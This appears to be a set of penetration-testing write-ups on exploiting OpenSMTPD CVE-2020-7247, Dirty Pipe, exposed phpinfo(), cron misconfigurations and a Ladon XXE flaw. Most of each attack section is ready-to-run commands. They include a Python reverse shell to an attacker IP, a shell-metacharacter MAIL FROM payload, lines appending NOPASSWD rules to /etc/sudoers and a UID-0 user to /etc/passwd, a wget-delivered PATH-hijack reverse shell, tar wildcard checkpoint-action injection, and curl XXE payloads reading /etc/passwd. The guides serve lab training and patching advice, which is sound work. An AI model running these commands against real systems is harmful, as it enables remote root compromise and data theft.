OpenSMTPD < 6.6.1 - Remote Code Execution (smtp_mailaddr) - CVE-2020-7247

OpenSMTPD could allow a remote attacker to gain elevated privileges on the system, caused by improper handling of user input. By sending a specially-crafted mail request, an attacker could exploit this vulnerability to execute arbitrary code on the system as root.

smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the "uncommented" default configuration. The issue exists because of an incorrect return value upon failure of input validation.

Affected Products

  • OpenSMTPD OpenSMTPD 6.4.0
  • OpenSMTPD OpenSMTPD 6.4.1
  • OpenSMTPD OpenSMTPD 6.4.2
  • OpenSMTPD OpenSMTPD 6.6.0
  • OpenSMTPD OpenSMTPD 6.6.1

Identify

1. Running a vulnerability scanner against the remote vulnerable server, in this case we are using Nessus

2. We can also Identify this vulnerability using Nmap, in this case the smtp version is 2.0.0

  • nmap -p 25 --script smtp-commands 192.168.161.71

Exploitation Script

1. Knowing the service version, we can try to exploit this service, using an automated exploit (https://www.exploit-db.com/exploits/47984)

  • searchsploit smtpd
  • searchsploit -m linux/remote/47984.py

2. This exploit will allow us to execute remote code, first make sure it is executable, otherwise, assign execute permissions

  • ls -l 47984.py
  • (OPTIONAL) chmod 777 47984.py

3. Since, we are allowed to run commands we will first Ping test back to our machine. So first start a TCPdump listener waiting for ICMP traffic

  • sudo tcpdump -i tun0 icmp and src 192.168.161.71

4. Now, execute the exploit, and point the ping command to our local machine

  • python 47984.py 192.168.161.71 25 'ping -c 4 192.168.49.161'

5. Check the capture, and, confirm it captured ICMP traffic

6. We should proceed with trying to access the server, I’ll try a reverse shell to port 80, because, after testing this server didn’t allow any other port

  • nc -lvp 80

7. Run the exploit with the reverse shell query, I’ll use python

  • python 47984.py 192.168.161.71 25 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.49.161\",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")"'

7. Now, check the listener, we should have a new session

  • whoami

Exploitation Manual

1. In order to exploit manually, we need to connect to the STMP service using telnet

  • telnet 192.168.161.71 25

2. Since we will do a ping test we will start a capture on our local machine

  • sudo tcpdump -i tun0 icmp and src 192.168.161.71

3. In the SMTP session run the following commands (note the return code should be 250)

  • HELO x
  • MAIL FROM:<;ping -c 4 192.168.49.161;>
  • RCPT TO:<root>
  • DATA
  • <enter>
  • vry4n
  • .
  • QUIT

4. Look at the capture, we should now see some output

5. Instead of the ping command, you can run any other commands like a reverse shell, or create new users, as this is run as root

Remedy

Upgrade to the latest version of OpenSMTPD (6.6.2 or later)

Resources

https://exchange.xforce.ibmcloud.com/vulnerabilities/175213

https://seclists.org/bugtraq/2020/Jan/40

https://packetstormsecurity.com/files/156137

https://nvd.nist.gov/vuln/detail/CVE-2020-7247

Dirty Pipe – Linux Kernel privilege escalation (CVE-2022-0847)

Linux 'Dirty Pipe' Vulnerability Allows Root Access - Lansweeper

DirtyPipe is a local privilege escalation vulnerability in the Linux kernel that allows a local attacker to bypass any file permission, and write arbitrary data to any file under certain conditions.

  • File must be readable by the attacker
  • The overwritten offset must not be on a page boundary (page size is usually 4096)
  • The write cannot cross a page boundary
  • File cannot be resized
  • File must be backed by the page cache (ex. a regular file)

Linux Kernel could allow a local authenticated attacker to gain elevated privileges on the system, caused by improper initialization in the copy_page_to_iter_pipe and push_pipe functions. By writing to pages in the page cache backed by read only files, an authenticated attacker could exploit this vulnerability to gain elevated privileges.

There are plenty of ways for attackers to gain the root privileges using this vulnerability, such as

  • unauthorized creation of new cron jobs
  • SUID binary hijacking
  • /etc/passwd modification
  • and so on.

For more technical and detailed information visit: https://dirtypipe.cm4all.com/

Affected Products

  • It affects the Linux kernels from 5.8 through any version before 5.16.11, 5.15.25 and 5.10.102
  • Linux Kernel 5.10
  • Linux Kernel 5.15
  • Linux Kernel 5.16

What are Pipe, Page, and splice() in Linux?

Pipe: A pipe is a unidirectional and inter-process communication method in Linux. It allows a process to take input from the previous one using a pipe buffer. For communication between processes, shared memory pages are used, in which one process reads and another writes. Typically, a pipe spans multiple pages of memory.

  • cat test.txt | grep Earth

Page: A page is a 4096-byte (4Kb) block of data. The Linux kernel breaks up the data into pages and operates on pages instead of dealing with the entire file at once. In the pipe mechanism, there is a flag called PIPE_BUF_FLAG_CAN_MERGE that indicates whether merging more data into the pipe buffer is allowed or not. When data is copied to a pipe buffer, more data can be added to the pipe buffer if the copied page is less than 4096 bytes in size.

Pages are used when reading and writing files from the disk, although they have many other uses. The part of the kernel that manages pages is referred to as the “page cache”.

Cached pages: These are recently accessed memory pages that are stored in a faster buffer in order to speed up subsequent possible accesses.

Flags/pipe attributes: Pipe flags specify characteristics such as state and permissions. As an example of attributes: PIPE_BUF_FLAG_CAN_MERGE. The existing flags for the memory pages are defined in the include /linux/pipe_fs_i.h file.

  • cat /usr/src/linux-hwe-5.13-headers-5.13.0-40/include/linux/pipe_fs_i.h

Splice: splice() is a Linux system call that can move data from or to the pipe. This system call transfer data using the pass-by-reference method. Instead of copying a page every time, it gives a reference to the page that is to be transferred to pipe.

What is Dirty Pipe (CVE-2022-0847) Vulnerability?

Dirty Pipe is a local privilege escalation vulnerability affecting Linux kernel versions 5.8 or newer. The vulnerability is patched in Linux versions 5.16.11, 5.15.25, and 5.10.102. CVSS score of the vulnerability is 7.8(high). CVE-2022-0847 vulnerability is named Dirty Pipe because of its similarity to Dirty Cow (CVE-2016-5195) vulnerability.

Here is how Dirty Pipe vulnerability exploitation works:

  • Create a pipe
  • Copy arbitrary data into the pipe and set the PIPE_BUF_FLAG_CAN_MERGE flag to 1 for all instances.
  • Drain the pipe
  • Normally, the flag should be reset. However, the Dirty Pipe vulnerability causes the flag to stay as set to 1.
  • Transfer a read-only file to the pipe using splice() system call.
  • Modify the read-only file.
  • Since the splice() system call uses the pass-by-reference method, the attacker can overwrite the file due to the PIPE_BUF_FLAG_CAN_MERGE flag.

Using Dirty Pipe vulnerability, an attacker with unprivileged access to the victim system can elevate its privileges to the root level.

Technical summary of CVE-2022-0847

  • CVE-2022-0847 was discovered while using the splice() system call. Basically, this system call moves data between a file descriptor and a pipe, without requiring the data to cross the usermode/kernelmode address space boundary, which helps compute performance.
  • Normally, when sending a file, memory pages (usually sized at 4KB) are copied into a memory-managed space called the page cache. From there the data is being copied to the userspace and remains in the cache to avoid unnecessary hard disk I/O.
  • When a file is being read into a pipe (via the splice() syscall) and at the same time arbitrary data is written into the pipe, the erroneous state caused by the bug causes the data to end up in the same page cache that is used by the file, and as such the data written to the pipe ends up at the file, even if the file was opened with read-only mode (O_RDONLY).

Exploit steps taken

  • It starts by opening a file in read mode, which can later be written to even if the program does not have permissions.
  • Create a pipe with the pipe() system call. This function gives the same process access to descriptors that allow writing and reading.
  • Write any type of information to the pipe to fill it completely and that the memory pages are marked with the PIPE_BUF_FLAG_CAN_MERGE flag.
  • Once all the pages have been marked, it allows the kernel to free them by reading all the data from the pipe it had written.
  • From this point on, when the kernel allocates memory pages using the features introduced in 2016, it will not initialize its flags and they will be marked with the PIPE_BUF_FLAG_CAN_MERGE attribute.
  • Use the splice() function to load the file that was originally opened. The memory page assigned to this file will be the same as our empty pipe, thanks to the fact that it was marked with the flag.
  • Directly overwrites the data in the pipe.

https://lh4.googleusercontent.com/F2p9wZwH6VaDhqMp9qjC0TvmWes1LfqW8BuTFtTUfJeCQCNVl5APz2xIjOFiY7h2pZts7YBWtQtBSP1o3sqq6mBG7yrU4cHbt_xada9yV6bk6sX6o5DoRu-QZetuLVcPatNWf6mT

Enumeration

1. To identify if the server’s kernel version, you can run ‘uname’ command

  • uname -a

2. We can also try to run this testing script

  • git clone https://github.com/basharkey/CVE-2022-0847-dirty-pipe-checker.git
  • cd CVE-2022-0847-dirty-pipe-checker
  • ls
  • chmod 777 dpipe.sh

3. After the script has been set as executable, we will run a check for the current version or a specific one

  • ./dpipe.sh
  • ./dpipe.sh 5.13.0

Exploitation

#1 Dirty Pipe SUID Binary Hijack Privilege Escalation

1. First, try to locate a binary that has SUID permissions assigned owned by root

  • find / -perm /4000 2> /dev/null
  • find / -perm -4000 2> /dev/null

2. Having already located one, proceed to download the exploit

  • git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
  • cd CVE-2022-0847-DirtyPipe-Exploits/
  • ls
  • ./compile.sh
  • ls

3. Now that the script has been downloaded and compiled, proceed to run it (Usage: ./exploit-2 SUID)

  • ./exploit-2 /usr/sbin/pppd
  • whoami

#2 Dirty Pipe SUID Binary Hijack Privilege Escalation

1. First, try to locate a binary that has SUID permissions assigned owned by root

  • find / -perm /4000 2> /dev/null
  • find / -perm -4000 2> /dev/null

2. Having already located one, in this case (/usr/bin/mount), proceed to download the exploit

  • git clone https://github.com/febinrev/dirtypipez-exploit.git
  • cd dirtypipez-exploit
  • ls
  • gcc dirtypipez.c -o dirtypipez
  • ls
  • ./dirtypipez

3. We need to assign the binary with SUID, we will use mount

  • ./dirtypipez /usr/bin/mount
  • whoami

#3 Dirty Pipe SUID Binary (Metasploit)

1. Having already a Meterpreter session, we can background the process, and search for exploits related to CVE-2022-0847

  • getuid
  • background
  • search cve:2022-0847

2. Select this module, and, check its options

  • use exploit/linux/local/cve_2022_0847_dirtypipe
  • show options

3. Now set the necessary options, and set the payload depending on your target.

  • sessions -i
  • set SESSION 1
  • set LHOST 192.168.0.13
  • set LPORT 5555

4. Execute the script to get a reverse meterpreter session with elevated privileges

  • run
  • getuid
  • shell
  • whoami

#1 Modifying/overwriting read only files

1. Download the script into the vulnerable machine, and compile it, (you can also compile it before delivering it)

  • git clone https://github.com/bbaranoff/CVE-2022-0847.git
  • ls
  • gcc CVE-2022-0847.c -o CVE-2022-0847
  • ls

2. This script will modify READ only files, such as /etc/passwd, make sure to have a backup of it before running it into any testing/production environment. The script will modify the first line of this script and change from root to rootz (without password)

  • cat /etc/passwd | head -n 1
  • su rootz
  • ./cve-2022-0847 /etc/passwd 1 ootz:
  • cat /etc/passwd | head -n 1
  • su rootz

#2 Modifying/overwriting read only files

1. Download the script into the vulnerable machine, and compile it

  • git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
  • cd CVE-2022-0847-DirtyPipe-Exploits
  • ls -l
  • ./compile.sh
  • ls

2. Check the /etc/passwd before running the script

  • head /etc/passwd

3. Now run exploit-1, In my case it shows as failing but it works

  • ./exploit-1
  • su root
  • <password>: piped
  • whoami

4. Check /etc/passwd after the script executed

  • head /etc/passwd

Remedy

Upgrade to the latest version of Linux Kernel (5.10.102, 5.15.25, 5.16.11 or later), available from the Linux Kernel Web site.

  • identify vulnerable systems on their networks
  • Since Linux is also used in many mobile devices, the relevant patches should be applied.
  • Apply all relevant security updates once they are available. To patch CVE-2022-0847, update your Linux systems to versions 5.16.11, 5.15.25 and 5.10.102 or newer.
  • Use a security solution that provides patch management and endpoint protection
  • Use the latest Threat Intelligence information to stay aware of actual TTPs used by threat actors.

If upgrading or patching the kernel is not possible, you can deploy a seccomp profile that disallows the splice syscall. While this may cause issues in some software packages, blocking the syscall usually does not have an effect on legitimate applications, since use of this syscall is relatively rare.

Specifically, to protect Docker containers, it is possible to modify Docker’s default seccomp profile and remove splice from the list of allowed syscalls

References

https://exchange.xforce.ibmcloud.com/vulnerabilities/221112

https://nvd.nist.gov/vuln/detail/CVE-2022-0847

https://www.tarlogic.com/es/blog/vulnerabilidad-dirty-pipe-cve-2022-0847/

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847

https://securelist.com/cve-2022-0847-aka-dirty-pipe-vulnerability-in-linux-kernel/106088/

https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits

https://www.picussecurity.com/resource/linux-dirty-pipe-cve-2022-0847-vulnerability-exploitation-explained

https://www.rapid7.com/blog/post/2022/03/09/cve-2022-0847-arbitrary-file-overwrite-vulnerability-in-linux-kernel/

https://jfrog.com/blog/dirtypipe-cve-2022-0847-the-new-dirtycow/

https://sysdig.com/blog/cve-2022-0847-dirty-pipe-sysdig/

https://systemweakness.com/dirty-pipe-cve-2022-0847-tryhackme-7a652910596b

https://packetstormsecurity.com/files/166229/Dirty-Pipe-Linux-Privilege-Escalation.html

https://packetstormsecurity.com/files/166230/Dirty-Pipe-SUID-Binary-Hijack-Privilege-Escalation.html

https://packetstormsecurity.com/files/166258/Dirty-Pipe-Local-Privilege-Escalation.html

https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/linux/local/cve_2022_0847_dirtypipe

https://www.securitydrops.com/dirty-pipe/

PHPinfo: Information Disclosure

phpinfo() is a debug functionality that prints out detailed information on both the system and the PHP configuration.

The official PHP documentation makes a recommendation to create a file that calls the phpinfo() function in order to test that the PHP installation was successful; it is a common mistake to forget to remove this file. The information leaked by the phpinfo() function includes physical paths, environment variables, and the full PHP configuration settings.

The phpinfo() is also a debugging tool as it consists of all the information a developer wants to know about a server. If anyone uploads the phpinfo() function to their webroot/index.php file, they can see their server’s configuration settings.

An attacker can obtain information such as:

  • Exact PHP version.
  • Exact OS and its version.
  • Details of the PHP configuration.
  • PHP compilation options
  • PHP extensions
  • Internal IP addresses.
  • Server environment variables.
  • Loaded PHP extensions and their configurations.
  • HTTP headers

This information can help an attacker to gain more information on the system. After gaining detailed information, the attacker can research known vulnerabilities for that system under review. The attacker can also use this information during the exploitation of other vulnerabilities.

Some methods also related to phpinfo

  • phpinfo() Memory Limit
  • phpinfo() Upload Max Filesize
  • phpinfo() PHP Magic Quotes Gpc is On
  • phpinfo() Open Base Directory Is Disabled
  • PHP post_max_size show phpinfo()

Enumeration

Nmap

Using Nmap NSE script (http-enum), we can discover if in root directory there is the presence of execution of phpinfo()

  • nmap -sV --script http-enum -p 30455 192.168.226.147

Nikto

1. Using Nikto we can also verify the existence of phpinfo()

  • nikto -h 192.168.226.147:30455

Contents of PHPInfo

In this case by accessing the exposed phpinfo(), http://192.168.226.147:30455/phpinfo.php, we can gather the following:

1. System info

2. PHP Version

3. Some commands and system directories

4. PHP configuration directories

5. PHP features status

6. Curl information

7. Local server time

8. Json support

9. MySQL

10. OpenSSL

11. XML

12. Environment

13. HTTP details

14. Server Hostname

15. Networking

16. PHP script file location

Remedy

These are recommendations:

  • Disable phpinfo() function on the application’s PHP configuration.
  • Remove all the pages that call phpinfo() function.

Resources

https://www.rapid7.com/db/vulnerabilities/http-php-phpinfo-leak/

https://beaglesecurity.com/blog/vulnerability/revealing-phpinfo.html

https://www.php.net/manual/en/function.phpinfo.php

https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/information-disclosure-phpinfo/

 

Exploiting the Cron Jobs Misconfigurations (Privilege Escalation)

Cron is a job scheduler in Unix-based operating systems. Cron Jobs are used for scheduling tasks by executing commands at specific dates and times on the server.

They’re most commonly used for sysadmin jobs such as backups or cleaning /tmp/ directories and so on. The word Cron comes from crontab and it is present inside /etc directory.

By default, Cron runs as root when executing /etc/crontab, so any commands or scripts that are called by the crontab will also run as root.

How to set up a cron job in Linux? - Nil Tutorials

For example: Inside crontab, we can add the following entry to print apache error logs automatically in every 1 hour.

  • 1 0 * * * printf "" > /var/log/apache/error_log

This automated repeated task is known as cronjob and a table or file that maintain this cronjob is known as crontab. Linux maintains separate crontab for each and every user.

How Does Cron Work?

The behavior of the Cron utility can be fully customized. You can configure the behavior of Cron by editing files called “crontabs”. Unix keeps different copies of crontabs for each user. You can edit your own user’s crontab by running:

  • crontab -e

You can also list the current cronjobs for your user by running:

  • crontab -l

In Linux systems, the location for the system-wide crontab is /etc/crontab. Cron will run as the root user when executing scripts and commands in this file.

Files in /etc/cron.d are treated the same way as /etc/crontab. They are effectively “crontab snippets”. Their benefit is that they can be added or removed without modifying the central /etc/crontab file.

Each line starting with * or some number is considered as a cron job or task. It is the magic line that cron service will execute.

When to perform cronjob?

First five numeric value represents the time of execution of the cronjob. Now let’s understand the five numeric value.

  • Minute – First value represents minute ranges between 0 to 59 and * means any minute.
  • Hour – Second value represent Hour ranges between 0 to 24 and * means any hour.
  • Day of month – Third value represents day of month ranges between 1 to 31 and * means any day.
  • Month – Fourth value represents month ranges between 1 to 12 and * means any month.
  • Day of week – Fifth value represents the day of week ranges between 0 to 6 starting from Sunday and * means any day of week.

By whom privileges does the task perform?

The value Just after the numeric value represents the user whose privileges will be used to accomplish the task.

Which command to be execute?

After defining the user we need to provide the command to be executed at that time.

I hope we found our answer and now we will learn to escalate privileges through cronjob. For better understanding i am dividing further blog into two parts Enumeration and Exploitation.

Crontab syntax

All crontabs follow the same syntax. Each line specifies a command to be run and the time at which it should run.

Example

this crontab entry tells the system to “cd” into the directory where I store security scripts and run the “scan.sh” shell script every day at 9:30 pm. (The wildcard character “*” means “all”.)

  • 30 21 * * * cd /home/vry4n/scripts/security; ./scan.sh

And in system-wide crontabs, you can also specify the user to run the command as:

  • * * * * <username> <command to be executed>

Running scripts in batches

It is customary to place scripts that the system-wide crontab uses in the

  • /etc/cron.d
  • /etc/cron.hourly
  • /etc/cron.daily
  • /etc/cron.weekly
  • /etc/cron.monthly directories.

You can then batch run the scripts within the directories. For example, the following line in the crontab tells Cron to run all scripts in the /etc/cron.hourly directory as root every hour.

  • 01 * * * * root run-parts /etc/cron.hourly

Cronjob Enumeration

The cronjob enumeration includes, finding and understanding the task that cronjob was assinged. There are following types of cronjob that we have to find.

User based Cronjob

In Linux each and every user can perform cronjobs. Each and every user maintains a crontab for their cronjobs. The location of the crontab of each user is in the following directory.

  • /var/spool/cron/crontabs/'crontab_of_the_each_user_named_as_their_username'

Note: The above directory is only accessible through root user. Normal user can check their cronjobs using command.

  • crontab -l

Application based Cronjob

Certain application in Linux uses cronjob to perform their task. All the cronjobs that are created by any application is placed in the following directory.

  • /etc/cron.d

Anacron

Anacron is defined as the cron with ability to performed the task that are skipped due to some reasons.This type of cronjob are placed in the following directory.

  • /etc/anacrontab

Pro tip : If you want to know about the cronjobs of the other user then you can use the tool pspy(pspy32 for 32 bit and pspy64 for 64bit). (https://github.com/DominicBreuker/pspy)

1. We can read the contents of /etc/crontab to see the actual scheduled tasks

Example 1 (this is what an empty file shows as)

  • cat /etc/crontab

Example 2 (this is what a crontab with an existing entry looks like

  • cat /etc/crontab

2. Using LinEnum or LinPEAS Script we can also gather info about cron jobs. This what what normal output should show

3. Make sure the service is running

  • service cron status

Exploitation

1. Editing Script File

When a script executed by Cron is editable by unprivileged users, those unprivileged users can escalate their privilege by editing this script, and waiting for it to be executed by Cron under root privileges.

1. In this example we will use script.sh that will delete every file/directory within /tmp directory

  • vi script.sh
  • cat script.sh

2. Crontab has been set to run every minute as root

  • cat /etc/crontab

3. Using pspy we can see this task running every minute

4. Looking at the script.sh file permissions we can see that we have READ/WRITE permissions

  • cd /
  • ls -l

5. I’ll modify the script, to add elevated privileges to my current user

  • echo "vry4n ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

6. Having the ability to run all commands (ALL=ALL) without password (NOPASSWD:ALL) allow us to run a new bash process as root, using sudo command

  • sudo bash

Note. Make sure you append the correct line to the /etc/sudoers file. Otherwise the file could crash

Extra

they can gain root access by adding a new root user to the /etc/passwd file. In this command below, “0” is the UID of the root user, so adding a user with the UID of “0” will give that user root privileges. This user will have the username of “vk9sec” and an empty password:

  • echo "vk9sec:x:0:0:root:/root:/bin/bash" >> /etc/passwd

2. Missing Absolute Paths

In this scenario, our script can’t be modified, but the crontab file indicates the command doesn’t contain absolute paths.

The Linux environmental path variable allows users to run commands or scripts without having to run their full path. For example, because the “whoami” binary is /usr/bin, which is part of the environmental path variable, users can simply run “whoami” rather than /usr/bin/whoami.

Although this was born as a convenient way to execute commands and scripts, it can become a vulnerability if said commands are run by privileged users.

If a cron job or a script used in a cron job calls a binary or a script without using its absolute path, an unprivileged user could create an arbitrary binary or script with the same exact name, and place it into a directory that is part of the environmental path.

  • cat /etc/crontab

This indicates that the system will go through each path from left to right (PATH=/dev/shm:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin). Starting with /dev/shm

1. To elevate privileges we will check upon the permissions on each of these folders, I’ll start with /dev/shm

  • ls -ld /dev/shm

2. I see, we have full privileges, first I’ll try to create a file in there

  • cd /dev/shm
  • echo "Vry4n was here!." > test.txt
  • ls

3. Having the capability to create files allow us the ability to write our own script and name it as the program the crontab is running netstat. For this demo I will create a bash reverse shell.

  • vi netstat
  • cat netstat

4. I will set up a web server to transfer this file into the machine (you could write it manually in the server)

  • python3.8 -m http.server 8080

5. In the server use wget command to download this into the desired location with Write permissions, in this case /dev/shm

  • cd /dev/shm
  • ls -l
  • wget http://192.168.49.155:8080/netstat
  • ls -l

6. Start a listener, as per the script I chose to connect to port 4242

  • nc -lvp 4242

7. Now make this file executable in the remote server

  • chmod 777 netstat

8. Wait for the task to execute. After execution, the listener should have a new connection from root

  • whoami

3. Exploiting Wildcards in Commands

Commands can use wildcards as arguments to perform actions on more than one file at a time, also called globbing. When the command is assigned to a cronjob, contains a wildcard operator then attacker can go for wildcard injection to escalate privilege.

Tar has an argument called --checkpoint, which allows to display a “progress” message every time X number of files have been archived. This can be used in concatenation with the --checkpoint-action flag, which allows to execute an action, in form of a binary or script, whenever a checkpoint is reached.

Since the wildcard will execute a given command against all files and folders in the current directory, this can be exploited by adding a --checkpoint=1 file (to enable the checkpoint function) and a --checkpoint-action=exec=/tmp/stef.sh file (to specify the action to perform) which will be effectively treated as arguments when tar comes across them.

1. For this example I will create a schedule task that runs every minute. The task is used to take all logs in /var/log/test_logs directory and compress them into gzip and tar in a file named logbackup,tgz. The resulting file will be saved in /tmp

  • cat /etc/crontab

2. After a minute checking within /tmp, I found the logbackup.tgz file

  • ls -l /tmp

3. Now lets get back to /var/log/test_logs directory and we will create some files to confuse the program, these files start their name with “--” which confuses programs with additional command parameters

  • echo 'echo " vry4n ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > test.sh
  • echo "" > "--checkpoint-action=exec=sh test.sh"
  • echo "" > --checkpoint=1
  • ls
  • tar cf archive.tar * # This one is only used to test

4. Once, the automated task is executed, then, check on the result

  • sudo cat /etc/sudoers

5. Having entered the line in /etc/sudoers, we can now test our new privileges

  • sudo su -
  • whoami

Remedy

If your system uses Cron to automate tasks, make sure that none of the scripts that you run through crontab are editable by unprivileged users, and make sure that your Cron scripts are secure!

NEVER EXECUTE COMMANDS WITH sudo or root user and avoid using SUID binaries in the job.

Resources

https://www.hackingarticles.in/linux-privilege-escalation-by-exploiting-cron-jobs/

https://medium.com/swlh/privilege-escalation-via-cron-812a9da9cf1a

https://www.armourinfosec.com/linux-privilege-escalation-by-exploiting-cronjobs/

https://steflan-security.com/linux-privilege-escalation-scheduled-tasks/

 

(XXE) Ladon Framework for Python – XML External Entity Expansion – CVE-2019-1010268

Ladon is a framework for exposing python methods to several internet service protocols. Ladon allows developers to expose functions of a class via different webservice protocols by using the @ladonize decorator in Python. By using the WSGI interface of a webserver or by running the Ladon command

line tool "ladon-2.7-ctl" with the command "testserve" and the name of the Python file, the webservices can be accessed via HTTP.

Sample code

from ladon.ladonizer import ladonize

class HelloService(object):

@ladonize(unicode, rtype=unicode)

def sayhello(self, uid):

return u"Hello {0}".format(uid)

This function can then be run as a ladon webservice via the following command:

  • ladon-2.7-ctl testserve helloservice.py -p 8000

Note: This enables access to the "sayhello"-function via SOAP- and JSON-APIs.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. The vulnerability exploits the XML External Entity (XXE) processing in the SOAP request handlers. For instance, an attacker could send a specially crafted SOAP call to craft request handlers, resulting in the attacker being able to read files and pivot to other internal endpoints.

Attackers who can send SOAP messages to a Ladon webservice via the HTTP interface of the Ladon webservice can exploit an XML external entity expansion vulnerability to do the following:

  • read local files
  • forge server side requests
  • overload the service with exponentially growing memory payloads.

What is XXE?

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed,

  • The parser can make a request and include the content at the specified URI inside of the XML document.
  • Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data

Payload example:

<?xml version="1.0"?>

<!DOCTYPE uid

[<!ENTITY passwd SYSTEM "file:///etc/passwd">

]>

<soapenv:Envelope>

<soapenv:Body>

<urn:checkout>

<uid>&passwd;</uid>

</urn:checkout>

</soapenv:Body>

</soapenv:Envelope>

Vulnerable software versions

Ladon: 0.6.1 - 1.0.4

Versions 0.9.40 and below are affected

Enumeration

1. identify the application is using Ladon service.

2. Then I accessed the muddy service. In there I noticed the “checkout” function was enabled.

3. Looking for exploits I found this interesting one from Exploitdb (https://www.exploit-db.com/exploits/43113)

  • searchsploit ladon

4. Looking at the exploit I found this interesting payload

2. We need to modify the fields to match our environment, if we get to print our string then this application is vulnerable to XXE.

curl -s -X $'POST' \

-H $'Content-Type: text/xml;charset=UTF-8' \

-H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \

--data-binary $'<?xml version="1.0"?>

<!DOCTYPE uid

[<!ENTITY passwd "Vry4n">

]>

<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"

xmlns:urn=\"urn:HelloService\"><soapenv:Header/>

<soapenv:Body>

<urn:checkout>

<uid xsi:type=\"xsd:string\">&passwd;</uid>

</urn:checkout>

</soapenv:Body>

</soapenv:Envelope>' \

'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -

Exploitation

1. By including a DTD in the XML SOAP request, attackers are able to include external entities in the response of the server. In the case of the simple service the inclusion of the following DTD will result in the exposure of the "/etc/passwd"-file on the server using file://

curl -s -X $'POST' \

-H $'Content-Type: text/xml;charset=UTF-8' \

-H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \

--data-binary $'<?xml version="1.0"?>

<!DOCTYPE uid

[<!ENTITY passwd SYSTEM "file:///etc/passwd">

]>

<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"

xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"

xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"

xmlns:urn=\"urn:HelloService\"><soapenv:Header/>

<soapenv:Body>

<urn:checkout soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">

<uid xsi:type=\"xsd:string\">&passwd;</uid>

</urn:checkout>

</soapenv:Body>

</soapenv:Envelope>' \

'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -

2. The result of the curl command should be the passwd file in linux

3. In this particular scenario, we noticed a /webdav folder, so we will try to read users file, looking for user/password info

  • We need to search within /var/www/html/webdav/passwd.dav

Remedy

No remedy available as of November 3, 2017.

Alternative remedy

The Python package defusedxml [2] can be used to monkey patch the code to

prevent XML vulnerabilities. The following workaround can be included in the

code, which prevents exploitation:

import defusedxml

defusedxml.defuse_stdlib()

References

https://security.snyk.io/vuln/SNYK-PYTHON-LADON-451661

https://packetstormsecurity.com/files/144872

https://seclists.org/fulldisclosure/2017/Nov/15

https://bitbucket.org/jakobsg/ladon/src/42944fc012a3a48214791c120ee5619434505067/src/ladon/interfaces/soap.py#lines-688

https://ladon.readthedocs.io/en/latest/